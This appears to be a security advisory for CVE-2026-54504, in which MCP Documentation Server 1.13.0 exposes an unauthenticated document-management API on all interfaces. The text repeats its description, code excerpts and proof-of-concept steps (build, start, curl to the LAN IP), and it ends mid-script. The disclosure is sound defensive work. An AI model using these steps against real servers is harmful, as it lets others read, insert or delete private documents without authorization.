CVE-2026-54504

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

if (process.env.START_WEB_UI !== 'false') {
    initializeDocumentManager().then(manager => {
        return startWebServer(undefined, manager);
    }).then(() => {
        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
    })...
}

In src/web-server.ts, the Express app appears to listen with only the port:

const server = app.listen(PORT, () => {
    console.log(`\n  🌐 MCP Documentation Server - Web UI`);
    console.log(`  ────────────────────────────────────`);
    console.log(`  Local:   http://localhost:${PORT}`);
    console.log(`  Network: http://0.0.0.0:${PORT}\n`);
});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

GET    /api/documents
GET    /api/documents/:id
POST   /api/documents
POST   /api/search-all
DELETE /api/documents/:id
GET    /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server

git rev-parse HEAD
npm install --no-audit --no-fund
npm run build

ls -l dist/server.js
node -p "require('./package.json').version"

Expected version:

1.13.0

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
  </dev/null \
  >/tmp/docsrv_stdout.log \
  2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$!
sleep 5

echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

ss -ltnp | grep ':3080' || true

Observed:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo

Observed:

LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC

cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import…

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

if (process.env.START_WEB_UI !== 'false') {
    initializeDocumentManager().then(manager => {
        return startWebServer(undefined, manager);
    }).then(() => {
        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
    })...
}

In src/web-server.ts, the Express app appears to listen with only the port:

const server = app.listen(PORT, () => {
    console.log(`\n  🌐 MCP Documentation Server - Web UI`);
    console.log(`  ────────────────────────────────────`);
    console.log(`  Local:   http://localhost:${PORT}`);
    console.log(`  Network: http://0.0.0.0:${PORT}\n`);
});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

GET    /api/documents
GET    /api/documents/:id
POST   /api/documents
POST   /api/search-all
DELETE /api/documents/:id
GET    /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server

git rev-parse HEAD
npm install --no-audit --no-fund
npm run build

ls -l dist/server.js
node -p "require('./package.json').version"

Expected version:

1.13.0

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
  </dev/null \
  >/tmp/docsrv_stdout.log \
  2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$!
sleep 5

echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

ss -ltnp | grep ':3080' || true

Observed:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo

Observed:

LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC

cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import…